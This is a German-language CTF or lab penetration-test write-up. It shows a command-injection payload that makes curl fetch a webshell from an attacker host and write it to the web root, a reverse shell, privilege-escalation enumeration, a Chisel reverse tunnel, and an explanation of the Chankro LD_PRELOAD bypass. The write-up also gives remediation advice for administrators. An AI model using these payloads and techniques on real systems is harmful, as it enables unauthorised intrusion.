Payload: -s http://192.168.2.199:8888/shell2.php%26b''a''s''h [...] Requesting Site... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 880 100 880 0 0 859k 0 --:--:-- --:--:-- --:--:-- 859k <!-- Source Code Revealed: --> <?php // [...] HTML part [...] if(isset($_POST['formurl'])){ echo "Requesting Site...<br><pre>"; $userurl=$_POST['formurl']; $naughtyurl=0; $disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']'); foreach($disallowed as $naughty){ // BUG: Should use !== false if(strpos($userurl,$naughty) !=false){ echo $naughty.' Error, Extension Denied: '; $naughtyurl=1; } } if($naughtyurl==0){ // VULNERABILITY: Command Injection via shell_exec and curl echo shell_exec("curl ".$userurl." 2>&1"); } } ?> <!-- [...] rest of HTML [...] -->
**Analyse:** Es wird versucht, die Command Injection mit `ls -la` auszunutzen, wahrscheinlich durch Anhängen an eine URL oder eine ähnliche Technik. Die genaue Payload ist nicht sichtbar, nur das gewünschte Kommando.
**Bewertung:** Die Ausführung schlägt fehl. Die Ausgabe zeigt viele `curl: (6) Could not resolve host: ...` Fehler, wobei Teile der `ls -la`-Ausgabe (`drwxrwxrwx`, `www-data`, `Aug`, `index.php`) als ungültige Hostnamen interpretiert werden. Das deutet darauf hin, dass der `ls -la`-Befehl zwar ausgeführt wurde, seine Ausgabe aber von `curl` als weitere zu verarbeitende URLs/Parameter fehlinterpretiert wurde, weil sie nicht korrekt vom `curl`-Befehl getrennt war.
**Empfehlung (Pentester):** Die Injektionstechnik verfeinern. Sicherstellen, dass der eingefügte Befehl korrekt vom `curl`-Befehl getrennt wird (z.B. durch `http://gültige.url ; ls -la` oder `http://gültige.url %0a ls -la`, falls diese Zeichen nicht gefiltert werden). Der Ansatz, `curl -o` zu verwenden, um eine Datei zu schreiben, ist wahrscheinlich zuverlässiger.
**Empfehlung (Admin):** Command Injection beheben.
Payload containing: `ls -la` [...] Requesting Site... curl: (6) Could not resolve host: drwxrwxrwx curl: (7) Couldn't connect to server curl: (6) Could not resolve host: www-data [...] curl: (6) Could not resolve host: index.php [...]
**Analyse:** Ähnlicher Versuch wie zuvor, diesmal mit dem Befehl `id`.
**Bewertung:** Wieder Fehlschlag mit `curl: (6) Could not resolve host: ...`-Fehlern. Die Ausgabe `uid=33(www-data)`, `gid=33(www-data)`, `groups=33(www-data)` wird als Hostnamen fehlinterpretiert. Der `id`-Befehl wurde ausgeführt, aber die Ausgabe störte den `curl`-Aufruf.
**Empfehlung (Pentester):** Technik zur Command Injection überdenken. Der `-o`-Ansatz für `curl` ist vielversprechend.
**Empfehlung (Admin):** Command Injection beheben.
Payload containing: `id` [...] Requesting Site... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 curl: (6) Could not resolve host: uid=33(www-data) curl: (6) Could not resolve host: gid=33(www-data) curl: (6) Could not resolve host: groups=33(www-data)
**Analyse:** Dieser Block zeigt eine Abfolge von Aktionen, die zum Erfolg führen: 1. Der Python-HTTP-Server auf dem Angreifer-PC läuft weiterhin und protokolliert mehrere GET-Anfragen für `shell2.php`, was darauf hindeutet, dass die Versuche zur Ausführung oder zum Download andauern. 2. Der entscheidende Payload wird gesendet: `http://192.168.2.199:8888/shell2.php -o /var/www/intranet/ben.php`. Dies nutzt die Command Injection, um `curl` anzuweisen, die Datei `shell2.php` vom Angreifer-Server herunterzuladen und unter dem Namen `ben.php` im Web-Root des Intranet-vHosts zu speichern. 3. Der Angreifer ruft die neu hochgeladene Webshell über `http://intranet2.securetransfer.nyx/ben.php` im Browser auf (oder mit einem Tool). 4. Die Webshell (`ben.php`, ursprünglich `shell2.php`) führt Befehle aus, darunter `ls -la`. Die Ausgabe ist wieder fehlerhaft, weil sie als `curl`-Fehler interpretiert wird. 5. Die Webshell wird verwendet, um eine Reverse Shell zum Listener auf Port 9001 aufzubauen (der genaue Befehl in der Webshell ist nicht sichtbar, aber das Ergebnis im `nc`-Listener ist klar).
**Bewertung:** Der Initial Access ist gelungen! Durch die Command Injection konnte eine Webshell (`ben.php`) hochgeladen werden. Diese Webshell wurde dann genutzt, um eine Reverse Shell zum Angreifer aufzubauen. Der `nc`-Listener empfängt die Verbindung vom Zielhost und der Angreifer erhält eine Shell als Benutzer `www-data` (uid=33).
**Empfehlung (Pentester):** Die erhaltene `www-data`-Shell stabilisieren (`stty`, Python PTY). Mit der Enumeration als `www-data` beginnen, um Wege zur Privilegienerweiterung zu finden (z.B. `sudo -l`, SUID-Binaries, Cronjobs, sensible Dateien, Kernel-Exploits).
**Empfehlung (Admin):** Die Command Injection Schwachstelle in `intranet2/index.php` dringend beheben. Den Webserver und PHP absichern (z.B. `disable_functions` in `php.ini` sinnvoll konfigurieren). Überwachung auf verdächtige Prozesse und ausgehende Verbindungen verstärken.
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... 192.168.2.106 - - [29/Aug/2024 12:31:33] "GET /shell2.php HTTP/1.1" 200 - [...] 192.168.2.106 - - [29/Aug/2024 13:17:05] "GET /shell2.php HTTP/1.1" 200 - 192.168.2.106 - - [29/Aug/2024 13:20:38] "GET /shell2.php HTTP/1.1" 200 -
Payload: http://192.168.2.199:8888/shell2.php -o /var/www/intranet/ben.php
[...]
Requesting Site...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 5495 100 5495 0 0 5366k 0 --:--:-- --:--:-- --:--:-- 5366k
Aufruf von: http://intranet2.securetransfer.nyx/ben.php
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 37370 Linux transfer 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux 13:21:11 up 1:24, 0 users, load average: 0.00, 0.00, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
**Analyse:** Die erhaltene Reverse Shell als `www-data` wird mit `id` bestätigt und mit `stty rows 48 columns 94` für bessere Lesbarkeit angepasst.
**Bewertung:** Standardmäßige erste Schritte in einer neuen Shell. Der Benutzer ist `www-data`.
**Empfehlung (Pentester):** Systemenumeration starten. `sudo -l` ist ein guter erster Schritt.
**Empfehlung (Admin):** Keine Aktion erforderlich.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den Benutzer `www-data` zu prüfen.
**Bewertung:** Interessantes Ergebnis! `www-data` darf den Befehl `/usr/games/cowsay` als Benutzer `tom` ohne Passwort (`NOPASSWD:`) ausführen. Dies ist ein möglicher Weg, um vom `www-data`-Benutzer zum Benutzer `tom` zu wechseln (horizontale Privilegienerweiterung).
**Empfehlung (Pentester):** Untersuchen, ob `/usr/games/cowsay` missbraucht werden kann, um Befehle als Benutzer `tom` auszuführen. `cowsay` ist normalerweise harmlos, aber manchmal können Programme über Umgebungsvariablen, Konfigurationsdateien oder unsichere Pfade manipuliert werden. `file /usr/games/cowsay` ausführen, um den Dateityp zu prüfen. GTFOBins nach `cowsay` mit sudo-Rechten durchsuchen.
**Empfehlung (Admin):** Die `sudo`-Regel ist ungewöhnlich und potenziell gefährlich. Es ist selten notwendig, dass `www-data` Befehle als ein anderer normaler Benutzer ausführt. Diese Regel überprüfen und entfernen, wenn sie nicht zwingend erforderlich ist. Wenn sie benötigt wird, sicherstellen, dass `cowsay` nicht missbraucht werden kann (z.B. durch Setzen eines sicheren `PATH` in der `sudoers`-Datei).
Matching Defaults entries for www-data on transfer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on transfer:
(tom) NOPASSWD: /usr/games/cowsay
**Analyse:** Der Dateityp von `/usr/games/cowsay` wird mit `file` überprüft.
**Bewertung:** Es handelt sich um ein Perl-Skript (`Perl script text executable`). Perl-Skripte können manchmal über Bibliotheks-Hijacking (`PERL5LIB`) oder andere Perl-spezifische Mechanismen missbraucht werden, wenn sie mit erhöhten Rechten ausgeführt werden.
**Empfehlung (Pentester):** Den Quellcode des Skripts (`cat /usr/games/cowsay`) analysieren. Nach unsicheren Funktionsaufrufen, externen Befehlsaufrufen oder der Verwendung von Umgebungsvariablen suchen, die manipuliert werden können. GTFOBins für `perl` mit sudo-Rechten prüfen.
**Empfehlung (Admin):** Wenn Perl-Skripte über `sudo` ausgeführt werden, sicherstellen, dass sie sicher programmiert sind und keine Angriffsvektoren bieten.
/usr/games/cowsay: Perl script text executable
**Analyse:** Der Quellcode des `cowsay`-Perl-Skripts wird mit `cat` angezeigt (hier nur der Anfang).
**Bewertung:** Der gezeigte Ausschnitt ist Standard-Perl-Code zum Auflisten von `.cow`-Dateien. Ohne den vollständigen Code ist eine abschließende Sicherheitsbewertung schwierig. Es ist jedoch unwahrscheinlich, dass das Standard-`cowsay`-Skript eine einfache Lücke zur Befehlsausführung enthält.
**Empfehlung (Pentester):** Den vollständigen Code prüfen oder sich auf GTFOBins verlassen. Wenn kein einfacher Exploit für `cowsay` via `sudo` bekannt ist, diesen Vektor als weniger wahrscheinlich einstufen und andere Enumerationsschritte verfolgen.
**Empfehlung (Admin):** Die `sudo`-Regel für `cowsay` überdenken.
#!/usr/bin/perl
#
# cowsay -- a program to generate ASCII pictures of a cow with a message
# Author: Tony Monroe
#
# The lines of the message are printed, surrounded by lines composed of
# speech bubble characters. If the message is omitted, standard input is
# read and printed instead.
#
# History:
# AUG 13 1999 Added -W flag from Einat.
# SEP 08 1999 Merged in the various patches from the Debian folks.
# This includes file searching mods, the $eyes and
# $tongue variables, and the COWPATH environment variable.
# JAN 01 2000 Modifications for the new millenium. :-) Also, the $0
# variable contains the full path, apparently... Fixed.
# APR 20 2000 Applied the $LANG variable fix from Magnus.
# MAY 08 2000 Changed the default message to avoid the appearance
# of soliciting donations. It seems to confuse people.
# MAY 15 2001 Applied wrap column fix from Branden.
# JUN 06 2001 Applied word wrap fix from Branden.
# DEC 10 2003 Applied COWPATH fix from Togan.
# AUG 17 2004 Applied UTF-8 fixes from Antti.
# OCT 28 2004 Added COWPATH docs and debian path. Also changed license
# to GPL.
# DEC 17 2004 Another UTF-8 fix for -W.
# AUG 02 2005 Fixed utf8 handling in word wrap code.
# AUG 05 2005 Fixed string width calculation for utf8, used by centering code.
# SEP 13 2005 Added BSD-style license.
# SEP 26 2005 Added $thoughts variable for think bubbles.
# FEB 15 2006 Don't read from STDIN if we're listing cowfiles.
# JUN 19 2006 Applied backslash rendering fix.
# MAR 20 2007 Applied tab expansion fix.
# AUG 02 2007 Merged in Ubuntu cowfile paths.
# AUG 16 2007 Added COWPATH fix for -l from Loic.
# JAN 27 2008 Applied another UTF-8 fix for wordwrapping from Christian.
# NOV 15 2011 Applied Unicode combining character fix from Chris.
# JUN 22 2012 Applied fix for UTF-8/tab issue from Erik.
# MAY 12 2014 Fixed cowsay -l duplication bug reported by John.
use Getopt::Std;
use Text::Wrap;
use Cwd qw(cwd);
use strict;
use vars qw( $progname $VERSION );
$VERSION = "3.03"; # Used by Getopt::Std.
# Check for POSIX, escape $pathsep if required
use Config;
my $pathsep = $Config{path_sep};
if ($^O ne 'MSWin32' and $^O ne 'dos' and $^O ne 'VMS') {
require POSIX;
$pathsep = POSIX::Pathname::Separator(); # Get the correct path separator
}
# Process the arguments.
$progname = $0;
$progname =~ s/.*\///;
my %opts;
getopts('bde:f:ghlLnNpstT:wW:y', \%opts) or die < say, o -> think.
if ($opts{'b'}) { $borg = 1; $eyes = "=="; }
if ($opts{'d'}) { $dead = 1; $eyes = "xx"; $tongue = "U "; }
if ($opts{'g'}) { $greedy = 1; $eyes = "\$\$"; }
if ($opts{'p'}) { $paranoid = 1; $eyes = "@@"; }
if ($opts{'s'}) { $stoned = 1; $eyes = "**"; $tongue = "U "; }
if ($opts{'t'}) { $tired = 1; $eyes = "--"; }
if ($opts{'w'}) { $wired = 1; $eyes = "OO"; }
if ($opts{'y'}) { $young = 1; $eyes = ".."; }
if ($opts{'l'}) { $list = 1; }
if ($opts{'e'}) { $eyes = substr($opts{'e'}, 0, 2); }
if ($opts{'T'}) { $tongue = substr($opts{'T'}, 0, 2); }
if ($opts{'f'}) { $cowfile = $opts{'f'}; }
if ($opts{'W'}) { $wrap = $opts{'W'}; }
if ($opts{'n'}) { $nobrk = 1; }
if ($opts{'h'}) {
print <= 0) {
$message_text = join(" ", @ARGV);
} elsif ($^O eq 'MSWin32' or $^O eq 'dos' or $^O eq 'VMS') {
# Always read from STDIN on non-Unix systems.
local($/); # Slurp the whole file.
$message_text = ;
} else {
# Check if STDIN is coming from a pipe or a file.
if (! -t STDIN) {
local($/); # Slurp the whole file.
$message_text = ;
} else {
# We need to put something in the bubble.
$message_text = "What are you waiting for? Enter the message!\n";
}
}
# Do the substitutions.
$message_text =~ s/\t/ /g; # Expand tabs. Use the algorithm from K&R
# C book (p.105) but simplified for readability.
my $tabstop = 8;
while ($message_text =~ /\t/) {
my $pre_tab = $`; # Part of string before the tab.
my $post_tab = $'; # Part of string after the tab.
my $col = 0;
if ($nobrk) {
$col = length($pre_tab) % $tabstop;
} else {
$col = Text::Wrap::columns($pre_tab) % $tabstop;
}
my $num_spaces = $tabstop - $col;
$message_text = $pre_tab . (' ' x $num_spaces) . $post_tab;
}
$message_text =~ s/^\n+//; # Lose leading newlines.
$message_text =~ s/\n+$/\n/; # Lose trailing newlines, except one.
# Wrap the message.
my $border;
my $wrapped;
if ($nobrk) {
$wrapped = wrap($message_text, $wrap);
$border = get_border($wrapped, "\\");
} else {
$wrapped = wrap('', '', $message_text);
$wrapped =~ s/\n+$//;
$border = get_border($wrapped, $thoughts);
}
print $border;
# Apply the cow specific variables.
$the_cow =~ s/\$eyes/$eyes/g;
$the_cow =~ s/\$tongue/$tongue/g;
$the_cow =~ s/\$thoughts/$thoughts/g;
# Now the user defined variables...
# Substitute any occurance of $1..$9 with the corresponding $var value, if any.
# Default values are just the variable name enclosed in parentheses, e.g. ($1).
for my $i (1..9) {
my $var = $ENV{"var$i"} || "(\$$i)";
$the_cow =~ s/\$$i/$var/g;
}
# Backslashes need to be escaped.
$the_cow =~ s/\\/\\\\/g;
$the_cow =~ s/\@/\\\@/g; # @ needs to be escaped as well.
# Print the cow.
print $the_cow;
# Subroutines.
sub list_cowfiles {
my $basedir;
my @dirfiles;
chop($basedir = cwd);
for my $d (split(/$pathsep/, $cowpath)) {
print "Cow files in $d:\n";
opendir(CWDIR, $d) || die "$0: Cannot open $d\n";
for my $file (readdir CWDIR) {
if ($file =~ s/\.cow$//) {
push(@dirfiles, $file);
}
}
closedir CWDIR;
print wrap('', '', join(' ', sort @dirfiles)), "\n";
@dirfiles = ();
}
}
sub find_cowfile {
my ($cowfile) = @_;
my $the_cow;
for my $d (split(/$pathsep/, $cowpath)) {
my $path = $d . $pathsep . $cowfile;
if (-f $path) {
$the_cow = construct_cow($path);
last;
}
}
return $the_cow;
}
sub construct_cow {
my ($cowfile) = @_;
local *COW;
my $the_cow;
# Deal with the multi-line Perl scripts embedded in cow files.
if ($cowfile =~ /^(\$the_cow = <<'EOC';\n)(.*)(^EOC\n)/ms) {
$the_cow = $2;
$the_cow =~ s/\$thoughts/$thoughts/g;
} else {
# Must be a file path then...
open(COW, $cowfile) || die "$progname: Could not open cowfile '$cowfile'!\n";
local($/);
$the_cow = ;
close(COW);
$the_cow =~ s/#.*$//gm; # Delete comments.
$the_cow =~ s/\n+$//; # Delete trailing newlines.
}
return $the_cow;
}
sub get_border {
my ($lines, $thoughts) = @_;
my $max = 0;
my $border;
my @lines = split(/\n/, $lines);
# Figure out the longest line. UTF-8 complicates this.
if ($lines[0]) {
use utf8;
use Unicode::GCString;
binmode(STDOUT, ":utf8");
my $gcstring = Unicode::GCString->new($lines[0]);
$max = $gcstring->columns;
for my $i (1 .. $#lines) {
my $gcstring = Unicode::GCString->new($lines[$i]);
if ($gcstring->columns > $max) {
$max = $gcstring->columns;
}
}
}
# Format the border.
$border = " " . ("_" x ($max + 2)) . "\n";
if ($#lines == 0) {
$border .= sprintf("< %-${max}s >\n", $lines[0]);
} else {
$border .= sprintf("/ %-${max}s \\\n", $lines[0]);
for my $i (1 .. $#lines - 1) {
$border .= sprintf("| %-${max}s |\n", $lines[$i]);
}
$border .= sprintf("\\ %-${max}s /\n", $lines[$#lines]);
}
$border .= " " . ("-" x ($max + 2)) . "\n";
return $border;
}
# Wrap text, discarding newlines.
sub wrap {
my ($text, $cols) = @_;
$Text::Wrap::columns = $cols;
$text =~ s/\n/ /g;
return Text::Wrap::wrap('', '', $text);
}
**Analyse:** Die Berechtigungen der `cowsay`-Datei werden mit `ls -la` überprüft.
**Bewertung:** Das Skript gehört `root:root` und ist für alle lesbar und ausführbar (`-rwxr-xr-x`). Dies sind Standardberechtigungen.
**Empfehlung (Pentester):** Da keine Schreibrechte für `www-data` vorhanden sind, kann das Skript nicht direkt modifiziert werden. Die Ausnutzung muss über die Ausführung als `tom` via `sudo` erfolgen, falls ein Weg gefunden wird.
**Empfehlung (Admin):** Keine Aktion erforderlich bezüglich der Dateiberechtigungen.
-rwxr-xr-x 1 root root 4664 Feb 3 2019 /usr/games/cowsay
**Analyse:** Es wird versucht, die `cowsay`-Datei mit `vi` zu bearbeiten, vermutlich um Code einzuschleusen. Danach wird `sudo -u tom /usr/games/cowsay` ausgeführt, gefolgt von einigen Befehlen (`id`, `ls`, `cat`).
**Bewertung:** Der Versuch, `cowsay` mit `vi` zu bearbeiten, muss fehlschlagen, da `www-data` keine Schreibrechte hat. Die nachfolgende Ausführung von `sudo -u tom /usr/games/cowsay` wird daher das unveränderte Skript ausführen. Die Befehle `id`, `ls`, `cat` danach scheinen manuell eingegeben worden zu sein und haben keinen Bezug zur `cowsay`-Ausführung. Dieser Ansatz zur Privilegienerweiterung via `cowsay` scheint hier nicht weiterverfolgt oder erfolgreich gewesen zu sein.
**Empfehlung (Pentester):** Den `cowsay`-Vektor als unwahrscheinlich betrachten und andere Enumerationsergebnisse priorisieren.
**Empfehlung (Admin):** Keine Aktion erforderlich, da der Versuch fehlschlug.
[...]
____________
< What are you waiting for? Enter the message! >
------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
[...]
**Analyse:** Erneut wird nach SUID-Dateien gesucht (`find / -type f -perm -4000 -ls 2>/dev/null`).
**Bewertung:** Die Liste der gefundenen SUID-Dateien ist Standard für ein Debian-System (`dbus-daemon-launch-helper`, `dmcrypt-get-device`, `chfn`, `passwd`, `su`, `umount`, `sudo`, `newgrp`, `mount`, `gpasswd`, `chsh`). Es gibt keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren SUID-Binaries.
**Empfehlung (Pentester):** SUID-Vektor als unwahrscheinlich einstufen. Fokus auf andere Methoden legen.
**Empfehlung (Admin):** Regelmäßig auf unnötige SUID-Dateien prüfen. Sicherstellen, dass alle SUID-Programme aktuell sind.
141838 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 265971 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 129851 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 129856 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 133469 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 133805 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 150564 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 133322 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 133803 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 129854 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 129852 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
**Analyse:** Suche nach Linux Capabilities mit `getcap -r / 2>/dev/null`.
**Bewertung:** Wie schon beim Test als `killer` auf der vorherigen Maschine (falls das ein Muster ist) wird nur `/usr/bin/ping = cap_net_raw+ep` gefunden. Kein verwertbarer Fund.
**Empfehlung (Pentester):** Capabilities als Angriffsvektor ausschließen.
**Empfehlung (Admin):** Keine Aktion erforderlich.
/usr/bin/ping = cap_net_raw+ep
**Analyse:** Untersuchung verschiedener Verzeichnisse (`/var/backups/`, `/opt/`, `/var/www/`, `/var/www/html/`, `/var/www/html/viewuploads/`) und Auslesen von `index.php` im HTML-Root.
**Bewertung:** * `/var/backups/`: Enthält nur Standard-APT-Backup-Dateien. * `/opt/`: Leer. * `/var/www/`: Zeigt `html` (nur root lesbar: `dr-xr-xr-x`) und `intranet` (für `www-data` schreibbar: `drwxrwxrwx`). * `/var/www/html/`: Enthält `index.php` (die Apache-Standardseite) und ein Verzeichnis `viewuploads` (beide für `www-data` schreibbar). * `/var/www/html/viewuploads/`: Leer. * `cat /var/www/html/index.php`: Zeigt den Quellcode der Apache-Standardseite, die auch den Base32-Cookie (`MRX...`) setzt. Bestätigt, wo der Cookie herkommt.
**Empfehlung (Pentester):** Die schreibbaren Verzeichnisse (`/var/www/intranet`, `/var/www/html`, `/var/www/html/viewuploads`) sind potenzielle Orte, um Dateien (z.B. Shells) abzulegen, falls dies über eine Schwachstelle möglich ist. Die Enumeration hat jedoch bisher keinen direkten Weg zur Privilegienerweiterung ergeben. Der Fokus sollte wieder auf die Webanwendung(en) oder mögliche Kernel-Exploits (falls der Kernel veraltet ist - Version 4.19.0 ist alt, aber nicht unbedingt direkt ausnutzbar) gelegt werden.
**Empfehlung (Admin):** Überprüfen, ob `www-data` tatsächlich Schreibrechte auf `/var/www/`, `/var/www/html` und `/var/www/intranet` benötigt. Normalerweise sollten die Rechte restriktiver sein (nur Leserechte für `www-data` außerhalb von spezifischen Upload-Verzeichnissen). Schreibrechte für `www-data` im Web-Root sind gefährlich.
total 24 drwxr-xr-x 2 root root 4096 Jul 12 2023 . drwxr-xr-x 12 root root 4096 Mar 24 2021 .. -rw-r--r-- 1 root root 9152 May 23 2023 apt.extended_states.0 -rw-r--r-- 1 root root 1091 Mar 24 2021 apt.extended_states.1.gz
total 8 drwxr-xr-x 2 root root 4096 Mar 24 2021 . drwxr-xr-x 18 root root 4096 Mar 24 2021 ..
total 16 drwxrwxrwx 4 www-data www-data 4096 Mar 24 2021 . drwxr-xr-x 12 root root 4096 Mar 24 2021 .. dr-xr-xr-x 3 www-data www-data 4096 May 23 2023 html drwxrwxrwx 2 www-data www-data 4096 Aug 29 13:20 intranet
total 24 drwxrwxrwx 3 www-data www-data 4096 May 23 2023 . drwxrwxrwx 4 www-data www-data 4096 Mar 24 2021 .. -rwxrwxrwx 1 www-data www-data 10778 May 23 2023 index.php drwxrwxrwx 2 www-data www-data 4096 May 23 2023 viewuploads
total 8 drwxrwxrwx 2 www-data www-data 4096 May 23 2023 . drwxrwxrwx 3 www-data www-data 4096 May 23 2023 ..
<?php
setcookie('cookie', 'MRXW2YLJNY6XGZLDVZGK5DSMFXHGZTFIXG46LY');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Debian Default Page: It works</title>
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
[...]
**Analyse:** Überprüfung der Netzwerkverbindungen mit `ss -altpn`.
**Bewertung:** Zeigt den lauschenden Apache-Dienst auf Port 80. Interessanterweise wird auch ein lauschender Dienst auf `127.0.0.1:8888` angezeigt. Dies ist ungewöhnlich für ein Zielsystem und könnte von einem vorherigen Schritt (z.B. einem fehlgeschlagenen Reverse-Port-Forwarding-Versuch des Angreifers oder einer anderen lokalen Anwendung) stammen.
**Empfehlung (Pentester):** Den Dienst auf `localhost:8888` untersuchen, falls möglich (z.B. über die LFI/SSRF: `file://localhost:8888` oder `http://localhost:8888`). Es könnte sich um einen internen Dienst handeln. Der Hauptfokus bleibt jedoch auf der Ausnutzung der bekannten Schwachstellen oder der Suche nach neuen Wegen als `www-data`.
**Empfehlung (Admin):** Untersuchen, welcher Prozess auf `localhost:8888` lauscht und ob dieser notwendig ist. Ungenutzte lokale Dienste deaktivieren.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 127.0.0.1:8888 0.0.0.0:* LISTEN 0 128 *:80 *:*
**Analyse:** Vorbereitung für Port Forwarding mit Chisel. Chisel ist ein Tool, das schnelle TCP/UDP-Tunnel über HTTP ermöglicht, gesichert durch SSH. Es wird oft verwendet, um Firewalls zu umgehen oder auf interne Dienste zuzugreifen. 1. Auf dem Angreifer-PC wird Chisel heruntergeladen (nicht gezeigt, aber impliziert) und ein HTTP-Server gestartet, um es bereitzustellen. 2. Auf dem Zielsystem wird Chisel nach `/dev/shm` (ein RAM-basiertes, beschreibbares Verzeichnis) heruntergeladen (nicht gezeigt, aber impliziert durch `cd /dev/shm`). 3. Auf dem Angreifer-PC wird der Chisel-Server im Reverse-Modus gestartet (`./chisel server -p 9080 --reverse`). Er lauscht auf Port 9080 und erwartet eingehende Verbindungen von Chisel-Clients, die dann Reverse-Tunnel aufbauen können. 4. Auf dem Zielsystem wird Chisel als Client gestartet (`./chisel client 192.168.2.199:9080 R:8888:127.0.0.1:8888`). Er verbindet sich zum Chisel-Server des Angreifers und baut einen Reverse-Tunnel auf: Verbindungen, die auf dem Port 8888 des *Angreifer-Servers* ankommen, werden durch den Tunnel zum Zielsystem geleitet und dort an `127.0.0.1:8888` weitergeleitet.
**Bewertung:** Der Chisel-Tunnel wird erfolgreich aufgebaut (`client: Connected`, `server: session#1: tun: proxy#R:8888=>8888: Listening`). Dies ermöglicht dem Angreifer nun, direkt von seinem PC aus auf den Dienst zuzugreifen, der auf `localhost:8888` des Zielsystems lauscht, indem er sich auf `localhost:8888` seines eigenen PCs verbindet.
**Empfehlung (Pentester):** Den Dienst auf `localhost:8888` des Angreifer-PCs untersuchen (z.B. mit `curl localhost:8888` oder einem Browser). Es könnte sich um einen internen Admin-Bereich, eine API oder einen anderen Dienst handeln, der für die Privilegienerweiterung relevant ist. (Hinweis: Der nachfolgende `curl`-Aufruf im Bericht scheint jedoch nicht diesen Tunnel zu nutzen, sondern einen Exploit vorzubereiten.)
**Empfehlung (Admin):** Ausgehende Verbindungen zu ungewöhnlichen Ports wie 9080 blockieren (Egress Filtering). Die Ausführung von Tools wie Chisel überwachen und verhindern.
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... 192.168.2.106 - - [29/Aug/2024 13:34:54] "GET /chisel HTTP/1.1" 200 -
2024/08/29 13:36:18 server: Reverse tunnelling enabled 2024/08/29 13:36:18 server: Fingerprint MWRlAGqtCL8fppxzT3lnwtzojVR4Vkz9R1oXdsAuVnk= 2024/08/29 13:36:18 server: Listening on http://0.0.0.0:9080
[...]
2024/08/29 13:37:38 client: Connecting to ws://192.168.2.199:9080 2024/08/29 13:37:38 client: Connected (Latency 445.563µs)
[...]
2024/08/29 13:37:38 server: session#1: tun: proxy#R:8888=>8888: Listening
http://localhost:9080 Not found
**Analyse:** Die Datei `shell2.php` wird erneut vom Angreifer-Server (diesmal Port 8885) auf das Zielsystem heruntergeladen. Dies scheint ein redundanter Schritt zu sein oder dient dazu, die Shell an einen bekannten Ort (`/dev/shm`) zu legen.
**Bewertung:** Die Datei wird erfolgreich heruntergeladen. Ihr Zweck (Webshell, Reverse Shell) ist klar, aber ihre spezifische Verwendung in den nächsten Schritten ist noch unklar, da bereits eine `www-data`-Shell vorhanden ist.
**Empfehlung (Pentester):** Klarheit über den Zweck von `shell2.php` schaffen. Wird sie für einen anderen Exploit benötigt?
**Empfehlung (Admin):** Verhinderung von Downloads und Ausführungen aus `/dev/shm`.
--2024-08-29 13:41:50-- http://192.168.2.199:8885/shell2.php Connecting to 192.168.2.199:8885... connected. HTTP request sent, awaiting response... 200 OK Length: 5495 (5.4K) [application/octet-stream] Saving to: ‘shell2.php’ shell2.php 100%[=================================>] 5.37K --.-KB/s in 0s 2024-08-29 13:41:50 (190 MB/s) - ‘shell2.php’ saved [5495/5495]
**Analyse:** Erklärung der Chankro-Technik. Chankro nutzt die Tatsache aus, dass die PHP-Funktion `mail()` oft das externe Programm `sendmail` aufruft. Wenn die PHP-Funktion `putenv()` erlaubt ist, kann der Angreifer die Umgebungsvariable `LD_PRELOAD` setzen. Diese Variable weist den dynamischen Linker an, vor allen anderen Bibliotheken eine vom Angreifer spezifizierte Shared-Object-Datei (`.so`) zu laden. Diese `.so`-Datei enthält Code, der beim Laden ausgeführt wird (z.B. in einer Konstruktorfunktion). Dieser Code läuft dann mit den Rechten des Prozesses, der `sendmail` ausführt (oft `www-data`, aber außerhalb der PHP-Beschränkungen wie `disable_functions` oder `open_basedir`). Damit kann z.B. eine Reverse Shell gestartet werden.
**Bewertung:** Eine sehr effektive Technik zur Umgehung von PHP-Sicherheitseinschränkungen, wenn `putenv()` und `mail()` verfügbar sind. Sie ermöglicht die Ausführung beliebiger Systembefehle, selbst wenn `system()`, `shell_exec()` etc. in `disable_functions` aufgeführt sind.
